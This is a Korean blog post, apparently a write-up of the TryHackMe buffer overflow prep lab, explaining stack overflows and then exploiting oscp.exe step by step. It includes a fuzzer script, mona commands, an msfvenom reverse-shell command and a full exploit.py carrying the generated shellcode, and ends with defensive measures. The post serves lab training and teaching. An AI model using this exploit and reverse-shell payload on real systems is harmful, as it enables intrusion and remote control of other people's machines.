sheow13 2023. 10. 12. 17:16
728x90

■ 개요

- 애플리케이션 입력 값의 크기에 대한 적절성이 검증되지 않을 경우 개발 시에 할당된 저장 공간보다 더 큰 값의 입력이 가능하고 이로 인한 오류 발생으로 의도되지 않은 정보 노출, 프로그램에 대한 비 인가된 접근 및 사용 등이 발생할 수 있는 취약점

- 웹 기반 이외에 소켓 기반,파일 기반으로 구성된 애플리케이션에서도 해당 취약점이 발생할 수 있음

- 웹 취약점 진단 과정에서는 보통 오버플로우 공격을 통해 에러 페이지나 행 걸리는 현상 등 오류가 발생하는지를 주로 점검을 진행하나, 버퍼 오버플로우를 통해 악성코드 삽입 등도 가능하다.

- 주요정보통신기반시설 웹 취약점 진단 기준으로 01. 버퍼 오버플로우에 해당

 

 

실습 전 사전 지식

 Buffer overflow 개념

- 웹 사이트에서 사용자가 입력한 파리미터 값의 문자열 길이를 제한하지 않는 경우 개발 시에 할당된 저장 공간보다 더 큰 값의 입력이 가능하여 이로 인해 의도되지 않은 정보 노출, 비인가 접근 및 사용등이 가능한 공격

 

 Buffer overflow 종류

1) Stack Buffer Overflow : 스택 구조상 할당된 버퍼들이 정의된 버퍼의 한계치를 넘은 경우 복귀 주소를 변경하여 공격자가 임의의 코드를 수행하도록 하는 공격

2) Heap Buffer Overflow : 힙 구조 상 최초 정의된 힙 메모리 사이즈를 초과하는 문자열들이 힙 버퍼에 할당될 때, 공격자가 데이터 변경, 함수주소 변경으로 임의의 코드를 수행하는 공격

 

리틀엔디안(Little Endian)과 빅 엔디안(Big Endian) 개념

- CPU가 메모리에 데이터를 저장할 때 어느 순서로 저장하는가에 따라 Little EndianBig Endian으로 구분

- Little Endian : 메모리의 첫 주소에 하위 데이터부터 저장

- Big Endian : 메모리의 첫 주소에 상위 데이터부터 저장

- 주로 사용하는 CPUIntel사의 경우, 리틀 엔디안으로 메모리 저장하는 방법에 대해 인지 필요

타입 메모리
리틀엔디안 0x78 0x56 0x34 0x12
빅엔디안 0x12 0x34 0x56 0x78

 

메모리 구조

[메모리 구조]

 

구분 설명
코드 영역 - CPU가 읽어서 해석할 수 있는 기계어가 위치하는 영역, 쓰기 불가
- 프로그램이 실행되면 코드영역에 있는 어셈블리 코드가 한줄씩 해석되며 실행
데이터 영역 - 프로그램에서 사용되는 각종 변수(전역 변수, 정적변수)들이 위치하는 영역
힙 영역 - 동적 할당으로 생성된 변수가 위치하는 영역
스택 영역 - 프로그램에서 사용되는 각종 환경변수, 파라미터, 리턴값, 지역변수 등의 정보

 

• Stack 

- 스택은 컴퓨터 프로그램에서 함수 호출, 지역 변수 저장 등을 위해 사용되는 메모리 영역으로, 스택은 후입선출(LIFO, Last-In-First-Out) 구조로 동작

stack 구조 설명

 

• 레지스터 종류 및 명령어

- x86 아키텍처에서 사용되는 32비트 레지스터(eax, ebx, ecx, edx)는 프로세서의 일반 목적 레지스터로 사용되며, 데이터 및 주소 값을 저장하고 변경하는데 사용

구 분 명 칭 이 름 용 도
범용 레지스터 EAX 누산기(Accmulator) 주로 산술 연산에 사용(함수의 결과 값 저장)
EBX 베이스 레지스터
(Baseregister)
특정주소 저장(주소 지정을 확대하기 위해 인덱스로 사용)
ECX 카운트 레지스터
(Count register)
반복적으로 실행되는 특정 명령어 사용
(루프의 반복 횟수나 좌우 방향 시프트 비트 수 기억)
EDX 데이터 레지스터
(Data register)
일반 자료 저장(입출력 동작에 사용)
포인터
레지스터
EBP 베이스 포인터
(Base Pointer)
SS 레지스터와 함께 사용되어 스택 내의 변수 값을 읽는 데 사용
ESP 스택 포인터
(Stack Pointer)
SS 레지스터와 함께 사용되며 스택의 가장 끝 주소를 가르킴
EIP 명령 포인터
(Instruction Pointer)
다음 명령어의 오프셋(Offset, 상대위치 주소)을 저장하며 CS레지스터와 합쳐져 다음에 수행 될 명령의 주소 형성
인덱스
레지스터
EDI 목적지 인덱스
(Destination Index)
목적지 주소에 대한 값 저장
ESI 출발지 인덱스
(Source Index)
출발지 주소에 대한 값 저장
플래그
레지스터
Flags 플래그 레지스터
(Flag Register)
연산 결과 및 시스템 상태와 관련된 여러 가지 플래그 값 저장
용어 설명
Stack Frame - 모든 함수가 호출 될 때 할당되는 자신만의 스택 공간
SFP
(Stack Frame Pointer)
- 이전 함수의 스택 프레임 포인터를 저장하는 영역
- 스택 포인터(Stack Pointer)의 기준점이 됨
SP
(Stack Pointer)
- SFP를 기준점으로 하여, 상대주소(offset)을 저장하여 메모리를 접근
RET
(Return Address)
- 이전 함수의 다음 실행 명령어의 주소를 저장하는 영역

 

스택 버퍼 오버플로우 취약점 구조

정상적인 스택 구조

 

 

스택 버퍼 오버플로우 구조

- 지정된 버퍼 크기를 넘어 EBP가 저장된 공간을 채우고 퍼징(Fuzzing) 절차를 통해 다음 실행할 명령 주소인 RET 주소를 악성코드가 설치된 주소를 입력할 경우 악의적인 행위를 진행할 수 있음

 

실습 환경

- tryhackme[https://tryhackme.com/room/bufferoverflowprep]

- Kali Linux

 

 실습 환경

- 이 실습의 목표는 버퍼 오버플로우 취약점을 이용하여 리버스 쉘 획득이 목표

 

 실습 진행

Step 1) 윈도우 환경에서 oscp.exe 및 디버깅 파일인 Immnunity Debugger 다운로드

 

Step 2) Immunity Debugger에서 oscp.exe 파일을 열었을 때, 멈춰 있는 상태로 F9키를 눌러 실행상태로 변경

  ※ Ctrl + F2 : 재 시작, F9 : Run 상태로 변경

 

Step 3) oscp.exe 실행 파일 연결 테스트를 위하여 Kali Linux에서 Netcat 명령어를 사용해서 대상 시스템에 1337 포트로 연결 시도 시 정상적으로 통신 가능을 확인할 수 있었으며, HELP 명령어를 입력했을 때, OVERFLOW[Number] [Value] 값을 입력하면 오버플로우 공격 테스트를 진행할 수 있다는 정보를 획득

 

Step 4) mmunity Debugger WinDBG에서 특정 검색을 자동화하고 속도를 높이는데 사용할 수 있는 Python 스크립트인 mona.pyC:\Program Files\Immunity Inc\Immunity Debugger\PyCommands에 다운로드 후, C:\ 경로에 mona라는 디렉토리 생성 후 Immunity Debugger에서 ‘!mona config set workingfolder C:\mona\%p’ 명령어를 입력하여 작업 디렉토리 설정

mona.py 설치 링크 : https://github.com/corelan/mona?source=post_page-----19e000482f27-----------------

 

GitHub - corelan/mona: Corelan Repository for mona.py

Corelan Repository for mona.py. Contribute to corelan/mona development by creating an account on GitHub.

github.com

 

[Immunity Debugger에 nona.py 파일 업로드]

 

[C드라이브 밑에 mona 폴더 생성]
[Immunity Debugger에서 작업 디렉토리 설정]

 

Step 5) Kali Linux에서 버퍼 오버플로우 테스트를 위한 Fuzzer.py를 생성 후 대상 시스템으로 exploit 진행 시, 2000 byte까지 입력되고 그 이후에는 중단되는 것으로 확인 했을 때, offset1900~2000 바이트 범위에 있음을 확인할 수 있으며 EIP‘41414141’로 되어 있음을 확인

※ Immunity Debugger에서 oscp.exe 파일이 Run 상태로 유지된 상태에서 exploit 진행 필요

 

# fuzzer.py
import socket, time, sys
ip = "192.168.30.143";                      // 대상 시스템 IP 설정
port = 1337                                 // 대상 시스템 PORT 설정
timeout = 5
buffer = []
counter = 100
while len(buffer) < 30:                     // 버퍼에 ‘A’라는 문자열을 100개씩 총 30번을 반복하여 입력
buffer.append("A" * counter)
counter += 100
for string in buffer:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
connect = s.connect((ip, port))
s.recv(1024)
print("Fuzzing with %s bytes" % len(string))
s.send("OVERFLOW1 " + string + "\r\n")
s.recv(1024)
s.close()
except:
print("Could not connect to " + ip + ":" + str(port))
sys.exit(0)
time.sleep(1)

[버퍼 오버플로우 테스트 스크립트 실행]
[스크립트 동작 시 1900 ~2000 byte에서 버퍼 오버플로우가 발생 확인]

 

Step 6) 메모리 상에서 명령어(Instruction)를 실행하기 위해선 시작주소(offset)의 값을 알아야 명령을 수행할 수 있다. offset 위치를 찾기 위해, msf-pattern_create 명령어를 통해 랜덤한 값인 2200개 크기 payload를 생성 후, exploit 코드에 삽입 후 exploit 진행 시, EIP값이 6F43396E 인 것을 확인 및 버퍼 오버플로우 동작 확인. msf-pattern_offset 명령어를 통하여 offset 위치를 확인 가능

※ Immunity Debugger에서 oscp.exe 파일이 Run 상태로 유지된 상태에서 exploit 진행 필요하므로, Ctrl + F2 로 재시작 후 RUN 상황에서 동작 

명령어
root#msf-pattern_create l 2200
root#python2 exploit.py
root#msf-pattern_offset l 2200 q 6F43396E

 

# exploit.py
import socket, time, sys
ip = "192.168.30.143"                    // 대상 시스템 IP 설정
port = 1337                              // 대상 시스템 PORT 설정


prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = "[msf-pattern_create를 통해 생성한 랜덤한 값 입력]"
postfix = ""


buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
s.recv(1024)
print("Sending evil buffer...")
s.sendall(buffer)
print("Done!")
except:
print("Could not connect.")

 

[msf-pattern_create 명령어를 통해 버퍼오버플로우 발생시키는 크기보다 큰 2200 바이트의 임의의 난수값 생성]
[다음 명령 실행을 위한 주소를 저장하는 EIP 값이 '6F43396E' 임을 확인]
[msf-pattern_offset 명령어를 사용하여 offset 주소가 1978임을 확인]

 

Step 7) 다음 명령어(Instruction)의 주소를 저장하는 EIP값을 임의의 값(‘AAAA’)로 수정 시 EIP값이 정상적으로 변경되는 것을 확인하였으며, 스택 영역 코드를 찾기 위해 ‘!mona asm s “jmp esp”’ 명령어를 통해 확인 결과, 스택의 가장 끝 주소를 가르키는 주소인 esp 값이 ‘\xff\xe4’임을 확인

Kali 명령어 / Immunity Debugger 명령어
root@kali# mousepad exploit.py           
root@kali# python2 exploit.py
!mona asm –s “jmp esp”

 

# exploit.py
import socket, time, sys
ip = "192.168.30.143"                             // 대상 시스템 IP 설정
port = 1337                                       // 대상 시스템 PORT 설정


prefix = "OVERFLOW1 "
offset = 1978                                     // 확인된 offset 값 입력
overflow = "A" * offset
retn = "AAAA"                                     // EIP 값을 4 Byte의 랜덤한 값으로 입력
padding = ""
payload = "[msf-pattern_create를 통해 생성한 랜덤한 값 입력]"
postfix = ""


buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
s.recv(1024)
print("Sending evil buffer...")
s.sendall(buffer)
print("Done!")
except:
print("Could not connect.")

 

[exploit.py 코드에 offset 및 EIP에 입력할 문자 입력]
[exploit 진행 시, EIP값이 AAAA로 설정된 것을 확인]
[명령어를 통해 ESP 주소 확인 시, '\xff\xe4' 임을 확인 ]

 

Step 8) 버퍼 오버플로우 공격을 진행하기 위해서 취약한 프로그램 모듈이 있는지 조회가 필요. ASLR(Address Space Layout Randomization)과 같은 방어 기법이 적용되어 있을 경우, 오버플로우 공격이 매우 어려우므로 해당 모듈이 보안 설정이 적용되어 있는지 ‘!mona modules’ 명령어를 입력했을 때, ‘essfunc.dll’ 모듈과 ‘oscp.exe’ 모듈이 방어 기법이 적용되지 않은 것으로 확인. 이전에 확인한 jmp esp 주소로 취약한 모듈을 ‘!mona find s “\xff\xe4” -m [모듈명]’ 조회 시. ‘essfunc.dll’ 모듈만 조회되는 것으로 확인했을 때, ‘essfunc.dll’ 모듈이 오버플로우 취약점이 있는 것으로 판단

※ ASLR(Address Space Layout Randomization) : 버퍼 오버플로우, 메모리 변조 등의 공격을 방어하기 위하여 스택, 힙, 라이브러리 등의 주소를 랜덤한 영역에 배치하여 공격자가 메모리 주소를 예측하게 어렵게 하는 보안 설정

Immunity Debugger 명령어
!mona modules
!mona find -s [offset 주소]

['essfunc.dll' 모듈과 'oscp.exe' 모듈이 취약한 모듈로 확인]
['essfunc.dll' 모듈이 버퍼 오버플로우 취약한 것으로 확인]
['oscp.exe' 모듈은 버퍼 오버플로우 취약하지 않은 것으로 확인]

 

Step 9) 버퍼 오버플로우 공격을 수행하기 위해선 bad character를 제거하는 작업을 진행해야 한다. 대표적인 bad character0x00(NULL) 문자 등이 있으며, 0x00이 입력될 경우 null 뒤에 다른 문자가 올 수 없기 때문에 제거를 해야한다.

bad charcter는 고정된 값이 아니므로, 어떠한 값이 bad character인지 확인 필요.

Immunity Debugger에서 ‘!mona bytearray b "\x00"’ 명령어를 통해 Hex code를 생성 후 이를 exploit.py payload에 삽입 후 exploit 진행 시, ESP 주소가 변경되는 것을 확인할 수 있으며, ESP 주소에 오른쪽 마우스 클릭 후 ‘Follow in Dump’ 입력 시, 해당 주소로 이동 및 Hex dump를 확인할 수 있음.

bad character를 확인하기 위해 연속되지 않은 값을 확인 시, [06 0A] 부분에서 문제가 있는 것으로 추측. 06 이후에 07이 와야 하지만, 0A로 넘어간 것으로 확인했을 때, 0x07bad charcter로 추측

명령어 / Immunity Debugger 명령어
!mona bytearray b “\x00”
root@kali#mousepad exploit.py
root@kali#python2 exploit.py

[명령어를 통해 0x00(Null)을 제외한 Hex Code 생성]
[C:\mona\oscp 경로에 상기에 기재된 명령어로 생성된 Hex code를 복사]

 

[생성한 Hex Code를 payload에 복사]
[ESP 주소 값에 오른쪽 클릭 후 'Follow in Dump' 클릭]
[Dump 확인 시 0x06 이후에 0x07이 와야하지만 이상한 값이 오는 것으로 확인했을 때,&nbsp; 0x07이 bad character로 확인]

 

Step 10) 0x00과 0x07을 제외한 Hex code를 다시 생성 후 실행 했을 때, 0x2E가 bad character로 추측. mona 명령어('!mona compare -f C:\mona\oscp\bytearray.bin -a [ESP 주소]')로 확인 가능

명령어 / Immunity Debugger 명령어
!mona bytearray b “\x00\x07”
root@kali#mousepad exploit.py
root@kali#python2 exploit.py
!mona comapre f C:\mona\oscp\bytearray.bin a [ESP 주소]

[bad character가 0x2E임을 확인]
[명령어를 통해 0x2E, 0xa0가 bad character임을 확인]

 

Step 11) 위 과정을 반복 수행하여 bad character가 (0x00, 0x07, 0x2e, 0xa0)임을 확인.

명령어 / Immunity Debugger 명령어
!mona bytearray b “\x00\x07\x2e\xa0”
root@kali#mousepad exploit.py
root@kali#python2 exploit.py
!mona comapre f C:\mona\oscp\bytearray.bin a [ESP 주소]

[bad character('0x00, 0x07, 0x2e, 0xa0) 제거 후, bad character가 없음을 확인]

 

Step 12) mona 명령어('mona jmp -r esp -cpb "\x00\x07\x2e\xa0")를 사용하여 ESP 점프 지점을 찾았을 때, 625011AF 임을 확인. 해당 시스템은 Little Endian으로 거꾸로 작성해서 exploit.py retn 변수에 입력 및 64비트의 경우, padding값이 16 바이트로 임의값을 16바이트로 추가한 뒤 리버스 커넥션을 위하여 msfvenom을 통해 쉘 코드 생성 후, 생성된 코드를 payload에 추가

명령어 / Immunity Debugger 명령어
!mona jmp r esp cpb “\x00\x07\x2e\xa0”
root@kali#msfvenom p windows/shell_reverse_tcp LHOST=[kali IP] LPORT=[Listen 포트] -b “\x00\x07\x2e\xa0” -f py
root@kali#mousepad exploit.py

 

# exploit.py
import socket, time, sys
ip = "192.168.30.143"         // 대상 시스템 IP 입력
port = 1337                   // 대상 시스템 포트 입력


prefix = "OVERFLOW1 "
offset = 1978                   // offset값 입력
overflow = "A" * offset         // buffer overflow 공격을 offset 크기만큼 생성
retn = "\xaf\x11\x50\x62"       // 다음 명령 실행할 EIP 주소 값 입력
padding = "\x90" * 16           // 대상 시스템이 64비트 시스템으로 16바이트 임의의 값 지정
payload = "\xbe\x36\x70\x7c\x9d\xda\xd2\xd9\x74\x24\xf4\x5b\x2b\xc9\xb1\x52\x31\x73\x12\x83\xc3\x04\x03\x45\x7e\x9e\x68\x55\x96\xdc\x93\xa5\x67\x81\x1a\x40\x56\x81\x79\x01\xc9\x31\x09\x47\xe6\xba\x5f\x73\x7d\xce\x77\x74\x36\x65\xae\xbb\xc7\xd6\x92\xda\x4b\x25\xc7\x3c\x75\xe6\x1a\x3d\xb2\x1b\xd6\x6f\x6b\x57\x45\x9f\x18\x2d\x56\x14\x52\xa3\xde\xc9\x23\xc2\xcf\x5c\x3f\x9d\xcf\x5f\xec\x95\x59\x47\xf1\x90\x10\xfc\xc1\x6f\xa3\xd4\x1b\x8f\x08\x19\x94\x62\x50\x5e\x13\x9d\x27\x96\x67\x20\x30\x6d\x15\xfe\xb5\x75\xbd\x75\x6d\x51\x3f\x59\xe8\x12\x33\x16\x7e\x7c\x50\xa9\x53\xf7\x6c\x22\x52\xd7\xe4\x70\x71\xf3\xad\x23\x18\xa2\x0b\x85\x25\xb4\xf3\x7a\x80\xbf\x1e\x6e\xb9\xe2\x76\x43\xf0\x1c\x87\xcb\x83\x6f\xb5\x54\x38\xe7\xf5\x1d\xe6\xf0\xfa\x37\x5e\x6e\x05\xb8\x9f\xa7\xc2\xec\xcf\xdf\xe3\x8c\x9b\x1f\x0b\x59\x0b\x4f\xa3\x32\xec\x3f\x03\xe3\x84\x55\x8c\xdc\xb5\x56\x46\x75\x5f\xad\x01\xba\x08\xb3\x55\x52\x4b\xcb\x44\xff\xc2\x2d\x0c\xef\x82\xe6\xb9\x96\x8e\x7c\x5b\x56\x05\xf9\x5b\xdc\xaa\xfe\x12\x15\xc6\xec\xc3\xd5\x9d\x4e\x45\xe9\x0b\xe6\x09\x78\xd0\xf6\x44\x61\x4f\xa1\x01\x57\x86\x27\xbc\xce\x30\x55\x3d\x96\x7b\xdd\x9a\x6b\x85\xdc\x6f\xd7\xa1\xce\xa9\xd8\xed\xba\x65\x8f\xbb\x14\xc0\x79\x0a\xce\x9a\xd6\xc4\x86\x5b\x15\xd7\xd0\x63\x70\xa1\x3c\xd5\x2d\xf4\x43\xda\xb9\xf0\x3c\x06\x5a\xfe\x97\x82\x6a\xb5\xb5\xa3\xe2\x10\x2c\xf6\x6e\xa3\x9b\x35\x97\x20\x29\xc6\x6c\x38\x58\xc3\x29\xfe\xb1\xb9\x22\x6b\xb5\x6e\x42\xbe"
                                // reverse connection을 위한 shell code 입력

postfix = ""


buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
s.recv(1024)
print("Sending evil buffer...")
s.sendall(buffer)
print("Done!")
except:
print("Could not connect.")

 

[명령어를 통해 점프 지점 확인 시, EIP 주소가 '625011AF' 임을 확인]
[msfvenom을 통해 리버스 커넥션 쉘 코드 생성]

 

[완성된 exploit 코드]
[netcat을 통해 대기 후, exploit.py 실행 시 리버스 커넥션 성공 확인]

 

■ 버퍼 오버플로우 대응 방안

1. 시큐어코딩을 통해 오버플로우 탐지 시 비정상 종료될 수 있도록 설정

import numpy as np

MAX_NUMBER = np.iinfo(np.int64).max
MIN_NUMBER = np.iinfo(np.int64).min

def handle_data(number, pow):

    calculated = number ** pow
    # 파이썬 기본 자료형으로 큰 수를 계산한 후 이를 검사해 오버플로우 탐지

    if calculated > MAX_NUMBER or calculated < MIN_NUMBER:
       # 오버플로우 탐지 시 비정상 종료를 나타내는 -1 값 반환

       return -1

    res = np.power(number, pow, dtype=np.int64)
    return res

 

2. 버퍼 오버플로우 보호 매커니즘 사용

① 스택가드 : 복귀주소(return address)와 변수 사이에 특정 값(카나리아)을 저장해두었다가 카나리아 값이 변경시 오버플로우로 가정하여 실행 중단

② 스택쉴드 : 리턴주소를 RET라는 특수 스택에 저장해두었다가 함수 종료시 값을 비교하여 값이 다를 경우 오버플로우로 가정하여 실행 중단

③ ASLR : 주소 공간을 난수화 하여 실행 시 마다 메모리 주소 변경하여 악성코드에 의한 특정 주소 호출을 방지한다.

 

3. 안전한 함수 사용

- 문자열 길이를 제한하는 함수를 사용하면 버퍼를 초과하지 않으므로, 안전한 함수를 사용하여 개발